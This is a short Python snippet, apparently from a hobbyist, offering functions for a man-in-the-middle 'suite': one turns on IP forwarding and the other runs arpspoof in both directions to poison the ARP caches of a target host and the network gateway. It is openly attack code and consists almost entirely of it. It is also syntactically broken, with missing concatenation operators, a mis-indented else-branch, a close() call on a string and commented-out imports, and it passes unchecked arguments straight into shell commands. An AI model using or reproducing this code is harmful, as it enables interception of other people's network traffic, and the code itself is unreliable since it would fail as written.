def_ipforward and def_arpspoof

 # Import os
# Import Time
# Enable IP forwarding
# Just some functions I am writing for the MITM suite :)
def ip_forwarding():
    try :
        os.popen("echo 1 > /proc/sys/net/ipv4/ip_forward") # Enable IP forwarding
        ipout = open("/proc/sys/net/ipv4/ip_forward" , "r").read() # Checks is it enabled
        time.sleep(1)
        if ipout[0] == '1':
            print("[+] IP forwarding enabled")
        else :
        print("[-] An error occured")
        ipout.close()
    except Exception :
        pass

def arppoison(interface, target):
    print("[+] Preparing the ARP Poisoning Suite")
    gateway = os.popen("route -n | grep 'UG[ \t]' | awk '{print $2}'").read() # Gets gateway address
    print("[*] Targetted gateway is " + gateway) # Verbosity
    print("[*] Targetted user is " + target) # More verbosity
    print("[*] Interface in use is " + interface) # Even more verbosity :D
    os.popen("arpspoof -i " + interface + " -t " + target + gateway " & >/dev/null") # Doing the poisoning...
    os.popen("arpspoof -i " + interface + " -t " + gateway + target "  & >/dev/null") # Doing the poisoning too...